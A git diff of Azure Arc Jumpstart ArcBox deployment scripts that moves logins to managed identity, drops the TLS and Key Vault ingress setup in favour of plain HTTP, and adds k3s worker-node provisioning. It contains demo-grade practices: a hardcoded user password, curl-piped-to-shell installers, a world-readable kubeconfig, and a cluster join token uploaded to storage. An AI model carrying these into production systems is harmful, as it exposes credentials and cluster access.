+$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs @@ -57,113 +58,139 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" +$configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup --query "[].name" -otsv) + +foreach ($configName in $configs) { + Write-Host "Checking GitOps configuration $configName on $Env:k3sArcClusterName" + $retryCount = 0 + $maxRetries = 5 + do { + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Compliant") { + Write-Host "GitOps configuration $configName is ready on $Env:k3sArcClusterName" + } + else { + if ($configStatus.ComplianceState -ne "Non-compliant") { + Start-Sleep -Seconds 60 + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + Start-Sleep -Seconds 60 + $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON + if ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -lt $maxRetries) { + $retryCount++ + } + } + elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcClusterName. Exiting..." + break + } + } + } until ($configStatus.ComplianceState -eq "Compliant") +} + +# ################################################ +# # - Install Key Vault Extension / Create Ingress +# ################################################ + +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword + +# Write-Host "Importing the TLS certificate to Key Vault" +# az keyvault certificate import ` +# --vault-name $Env:keyVaultName ` +# --password "arcbox" ` +# --name $certname ` +# --file "$Env:TempDir\$certname.pfx" -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:k3sArcClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Create the Kubernetes secret with the service principal credentials -kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret -kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - -# Deploy SecretProviderClass -$secretProvider = @" -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: "$certname" - key: tls.key - - objectName: "$certname" - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: $Env:keyVaultName - objects: | - array: - - | - objectName: "$certname" - objectType: secret - tenantId: "$Env:spnTenantId" -"@ - -Write-Host "Creating Secret Provider Class" -$secretProvider | kubectl apply -n $k3sNamespace -f - - -# Create the pod with volume referencing the secrets-store.csi.k8s.io driver -$appConsumer = @" -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds -"@ - -Write-Host "Deploying App referencing the secret" -$appConsumer | kubectl apply -n $k3sNamespace -f - +# Write-Host "Installing Azure Key Vault Kubernetes extension instance" +# az k8s-extension create ` +# --name 'akvsecretsprovider' ` +# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` +# --scope cluster ` +# --cluster-name $Env:k3sArcClusterName ` +# --resource-group $Env:resourceGroup ` +# --cluster-type connectedClusters ` +# --release-namespace kube-system ` +# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' + +# # Create the Kubernetes secret with the service principal credentials +# kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret +# kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true + +# # Deploy SecretProviderClass +# $secretProvider = @" +# apiVersion: secrets-store.csi.x-k8s.io/v1 +# kind: SecretProviderClass +# metadata: +# name: azure-kv-sync-tls +# spec: +# provider: azure +# secretObjects: # secretObjects defines the desired state of synced K8s secret objects +# - secretName: ingress-tls-csi +# type: kubernetes.io/tls +# data: +# - objectName: "$certname" +# key: tls.key +# - objectName: "$certname" +# key: tls.crt +# parameters: +# usePodIdentity: "false" +# keyvaultName: $Env:keyVaultName +# objects: | +# array: +# - | +# objectName: "$certname" +# objectType: secret +# tenantId: "$Env:spnTenantId" +# "@ + +# Write-Host "Creating Secret Provider Class" +# $secretProvider | kubectl apply -n $k3sNamespace -f - + +# # Create the pod with volume referencing the secrets-store.csi.k8s.io driver +# $appConsumer = @" +# apiVersion: v1 +# kind: Pod +# metadata: +# name: busybox-secrets-sync +# spec: +# containers: +# - name: busybox +# image: k8s.gcr.io/e2e-test-images/busybox:1.29 +# command: +# - "/bin/sleep" +# - "10000" +# volumeMounts: +# - name: secrets-store-inline +# mountPath: "/mnt/secrets-store" +# readOnly: true +# volumes: +# - name: secrets-store-inline +# csi: +# driver: secrets-store.csi.k8s.io +# readOnly: true +# volumeAttributes: +# secretProviderClass: "azure-kv-sync-tls" +# nodePublishSecretRef: +# name: secrets-store-creds +# "@ + +# Write-Host "Deploying App referencing the secret" +# $appConsumer | kubectl apply -n $k3sNamespace -f - # Deploy an Ingress Resource referencing the Secret created by the CSI driver $ingressController = @" apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -188,7 +215,7 @@ Add-Content -Path $Env:windir\System32\drivers\etc\hosts -Value "`n`t$ip`t$certd $shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index 6064c1fc36..1a2d2416bb 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -1,5 +1,5 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" @@ -7,8 +7,8 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sRBAC.log -# echo "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -16,14 +16,15 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs ############################# # Create GitOps config for Hello-Arc RBAC -echo "Creating GitOps config for Hello-Arc RBAC" +Write-Host "Creating GitOps config for Hello-Arc RBAC" az k8s-configuration flux create ` --cluster-name $Env:k3sArcClusterName ` --resource-group $Env:resourceGroup ` diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index a304f2a278..dc246f9f66 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -4,8 +4,9 @@ $certdns = "arcbox.devops.com" Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log -# Switch kubectl context to arcbox-capi -kubectx arcbox-capi +# Switch kubectl context to arcbox-datasvc-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" +kubectx ############################ # - Deploy Ingress for Reset @@ -19,13 +20,9 @@ kind: Ingress metadata: name: ingress-reset-bookbuyer annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -49,13 +46,9 @@ kind: Ingress metadata: name: ingress-reset-bookstore annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -78,13 +71,9 @@ kind: Ingress metadata: name: ingress-reset-bookstore-v2 annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -104,6 +93,6 @@ $ingressBookstorev2 | kubectl apply -n bookstore -f - # - Invoke Reset API #################### -Invoke-WebRequest -Uri "https://$certdns/bookbuyer/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore-v2/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookbuyer/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookstore/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookstore-v2/reset" -UseBasicParsing diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 2ef7db3bcb..6aa4a68f3e 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -11,27 +11,33 @@ sudo echo "staginguser:ArcPassw0rd" | sudo chpasswd # Injecting environment variables echo '#!/bin/bash' >> vars.sh echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $deployBastion:$9 | awk '{print substr($1,2); }' >> vars.sh -echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $subscriptionId:$2 | awk '{print substr($1,2); }' >> vars.sh +echo $vmName:$3 | awk '{print substr($1,2); }' >> vars.sh +echo $location:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $stagingStorageAccountName:$5 | awk '{print substr($1,2); }' >> vars.sh +echo $logAnalyticsWorkspace:$6 | awk '{print substr($1,2); }' >> vars.sh +echo $templateBaseUrl:$7 | awk '{print substr($1,2); }' >> vars.sh +echo $storageContainerName:$8 | awk '{print substr($1,2); }' >> vars.sh +echo $k3sControlPlane:$9 | awk '{print substr($1,2); }' >> vars.sh -sed -i '2s/^/export adminUsername=/' vars.sh -sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh -sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh -sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export vmName=/' vars.sh -sed -i '7s/^/export location=/' vars.sh -sed -i '8s/^/export stagingStorageAccountName=/' vars.sh -sed -i '9s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '10s/^/export deployBastion=/' vars.sh -sed -i '11s/^/export templateBaseUrl=/' vars.sh +sed -i '2s/^/export adminUsername=/' vars.sh +# sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh +# sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh +# sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh +sed -i '3s/^/export subscriptionId=/' vars.sh +sed -i '4s/^/export vmName=/' vars.sh +sed -i '5s/^/export location=/' vars.sh +sed -i '6s/^/export stagingStorageAccountName=/' vars.sh +sed -i '7s/^/export logAnalyticsWorkspace=/' vars.sh +sed -i '8s/^/export templateBaseUrl=/' vars.sh +sed -i '9s/^/export storageContainerName=/' vars.sh +sed -i '10s/^/export k3sControlPlane=/' vars.sh + +# Set k3 deployment variables export K3S_VERSION="1.28.2+k3s1" # Do not change! chmod +x vars.sh @@ -44,79 +50,150 @@ sudo curl -v -o /etc/profile.d/welcomeK3s.sh ${templateBaseUrl}artifacts/welcome sudo -u $adminUsername mkdir -p /home/${adminUsername}/jumpstart_logs while sleep 1; do sudo -s rsync -a /var/lib/waagent/custom-script/download/0/installK3s.log /home/${adminUsername}/jumpstart_logs/installK3s.log; done & -# Installing Rancher K3s cluster (single control plane) -echo "" -publicIp=$(hostname -i) -sudo mkdir ~/.kube -sudo -u $adminUsername mkdir /home/${adminUsername}/.kube -curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik --node-external-ip ${publicIp} --bind-address ${publicIp}" INSTALL_K3S_VERSION=v${K3S_VERSION} sh - -sudo chmod 644 /etc/rancher/k3s/k3s.yaml -sudo kubectl config rename-context default arcbox-k3s --kubeconfig /etc/rancher/k3s/k3s.yaml -sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config -sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging -sudo chown -R $adminUsername /home/${adminUsername}/.kube/ -sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging - -# Installing Helm 3 -sudo snap install helm --classic - -echo "" -echo "Making sure Rancher K3s cluster is ready..." -echo "" -sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null -sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' -echo "" - # Installing Azure CLI & Azure Arc extensions curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -sudo -u $adminUsername az extension add --name connectedk8s -sudo -u $adminUsername az extension add --name k8s-configuration -sudo -u $adminUsername az extension add --name k8s-extension - echo "" echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId -az -v echo "" +for i in {1..5}; do + sudo -u $adminUsername az login --identity + if [[ $? -eq 0 ]]; then + break + fi + sleep 15 + if [[ $i -eq 5 ]]; then + echo "Error: Failed to login to Azure after 5 retries" + exit 1 + fi +done + +sudo -u $adminUsername az account set --subscription $subscriptionId +az -v -# Registering Azure resource providers -sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait -sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait - -sudo service sshd restart - -# Onboard the cluster to Azure Arc -resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) -workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) -sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' --only-show-errors - -# Enabling Container Insights and Microsoft Defender for Containers cluster extensions -echo "" -sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors -echo "" -sudo -u $adminUsername az k8s-extension create -n "azure-defender" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors +if [[ "$k3sControlPlane" == "true" ]]; then + + # Installing Azure Arc extensions + echo "" + echo "Installing Azure Arc extensions" + echo "" + sudo -u $adminUsername az extension add --name connectedk8s + sudo -u $adminUsername az extension add --name k8s-configuration + sudo -u $adminUsername az extension add --name k8s-extension + + # Installing Rancher K3s cluster (single control plane) + echo "" + echo "Installing Rancher K3s cluster" + echo "" + publicIp=$(hostname -i) + sudo mkdir ~/.kube + sudo -u $adminUsername mkdir /home/${adminUsername}/.kube + curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable traefik --disable servicelb --node-ip ${publicIp} --node-external-ip ${publicIp} --bind-address ${publicIp} --tls-san ${publicIp}" INSTALL_K3S_VERSION=v${K3S_VERSION} K3S_KUBECONFIG_MODE="644" sh - + if [[ $? -ne 0 ]]; then + echo "ERROR: K3s installation failed" + exit 1 + fi + # Renaming default context to k3s cluster name + context=$(echo $storageContainerName | sed 's/-[^-]*$//') + sudo kubectl config rename-context default $context --kubeconfig /etc/rancher/k3s/k3s.yaml + sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config + sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config + sudo cp /etc/rancher/k3s/k3s.yaml /home/${adminUsername}/.kube/config.staging + sudo chown -R $adminUsername /home/${adminUsername}/.kube/ + sudo chown -R staginguser /home/${adminUsername}/.kube/config.staging + + # Installing Helm 3 + echo "" + echo "Installing Helm" + echo "" + sudo snap install helm --classic + if [[ $? -ne 0 ]]; then + echo "ERROR: Helm installation failed" + exit 1 + fi + + echo "" + echo "Making sure Rancher K3s cluster is ready..." + echo "" + sudo kubectl wait --for=condition=Available --timeout=60s --all deployments -A >/dev/null + sudo kubectl get nodes -o wide | expand | awk 'length($0) > length(longest) { longest = $0 } { lines[NR] = $0 } END { gsub(/./, "=", longest); print "/=" longest "=\\"; n = length(longest); for(i = 1; i <= NR; ++i) { printf("| %s %*s\n", lines[i], n - length(lines[i]) + 1, "|"); } print "\\=" longest "=/" }' + + # Copying Rancher K3s kubeconfig file to staging storage account + echo "" + echo "Copying Rancher K3s kubeconfig file to staging storage account" + echo "" + localPath="/home/$adminUsername/.kube/config" + k3sClusterNodeConfig="/home/$adminUsername/k3sClusterNodeConfig.yaml" + echo "k3sNodeToken: $(sudo cat /var/lib/rancher/k3s/server/node-token)" >> $k3sClusterNodeConfig + echo "k3sClusterIp: $publicIp" >> $k3sClusterNodeConfig + sudo -u $adminUsername az extension add --upgrade -n storage-preview + storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') + storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') + sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey + sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath + sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $k3sClusterNodeConfig + + # # Registering Azure resource providers + # echo "" + # echo "Registering Azure resource providers" + # echo "" + # sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait + + # sudo service sshd restart + # Onboard the cluster to Azure Arc + echo "" + echo "Onboarding the cluster to Azure Arc" + echo "" + resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) + workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) + sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' + + # Enabling Container Insights and Microsoft Defender for Containers cluster extensions + echo "" + echo "Enabling Container Insights and Microsoft Defender for Containers cluster extensions" + echo "" + sudo -u $adminUsername az k8s-extension create -n "azuremonitor-containers" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors + sudo -u $adminUsername az k8s-extension create -n "azure-defender" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureDefender.Kubernetes --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --only-show-errors + + # Enabling Azure Policy for Kubernetes on the cluster + echo "" + echo "Enabling Azure Policy for Kubernetes on the cluster" + echo "" + sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors + +else + # Downloading k3s control plane details + echo "" + echo "Downloading k3s control plane details" + echo "" + k3sClusterNodeConfig="k3sClusterNodeConfig.yaml" + sudo -u $adminUsername az extension add --upgrade -n storage-preview + storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') + storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') + sudo -u $adminUsername az storage azcopy blob download --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source "$k3sClusterNodeConfig" --destination "/home/$adminUsername/$k3sClusterNodeConfig" + + # Installing Rancher K3s cluster (single worker node) + echo "" + echo "Installing Rancher K3s cluster node" + echo "" + k3sNodeToken=$(grep 'k3sNodeToken' "/home/$adminUsername/$k3sClusterNodeConfig" | awk '{print $2}') + k3sClusterIp=$(grep 'k3sClusterIp' "/home/$adminUsername/$k3sClusterNodeConfig" | awk '{print $2}') + curl -sfL https://get.k3s.io | K3S_URL=https://${k3sClusterIp}:6443 K3S_TOKEN=${k3sNodeToken} sh - + if [[ $? -ne 0 ]]; then + echo "ERROR: Failed to add k3s worker nodes" + exit 1 + fi + + sudo service sshd restart +fi -# Enabling Azure Policy for Kubernetes on the cluster +# Uploading this script log to staging storage for ease of troubleshooting echo "" -sudo -u $adminUsername az k8s-extension create --name "arc-azurepolicy" --cluster-name $vmName --resource-group $resourceGroup --cluster-type connectedClusters --extension-type Microsoft.PolicyInsights --only-show-errors - -# Copying Rancher K3s kubeconfig file to staging storage account +echo "Uploading the script logs to staging storage" echo "" -sudo -u $adminUsername az extension add --upgrade -n storage-preview -storageAccountRG=$(sudo -u $adminUsername az storage account show --name $stagingStorageAccountName --query 'resourceGroup' | sed -e 's/^"//' -e 's/"$//') -storageContainerName="staging-k3s" -localPath="/home/$adminUsername/.kube/config" -storageAccountKey=$(sudo -u $adminUsername az storage account keys list --resource-group $storageAccountRG --account-name $stagingStorageAccountName --query [0].value | sed -e 's/^"//' -e 's/"$//') -sudo -u $adminUsername az storage container create -n $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath - -# Uploading this script log to staging storage for ease of troubleshooting log="/home/${adminUsername}/jumpstart_logs/installK3s.log" -sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log +sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $log --destination "installK3s-$vmName.log" \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/longhorn.yaml b/azure_jumpstart_arcbox/artifacts/longhorn.yaml new file mode 100644 index 0000000000..b03ab89440 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/longhorn.yaml @@ -0,0 +1,4571 @@ +--- +# Builtin: "helm template" does not respect --create-namespace +apiVersion: v1 +kind: Namespace +metadata: + name: longhorn-system +--- +# Source: longhorn/templates/priorityclass.yaml +apiVersion: scheduling.k8s.io/v1 +kind: PriorityClass +metadata: + name: "longhorn-critical" + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +description: "Ensure Longhorn pods have the highest priority to prevent any unexpected eviction by the Kubernetes scheduler under node pressure" +globalDefault: false +preemptionPolicy: PreemptLowerPriority +value: 1000000000 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-service-account + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-ui-service-account + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-support-bundle + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/default-setting.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: longhorn-default-setting + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: 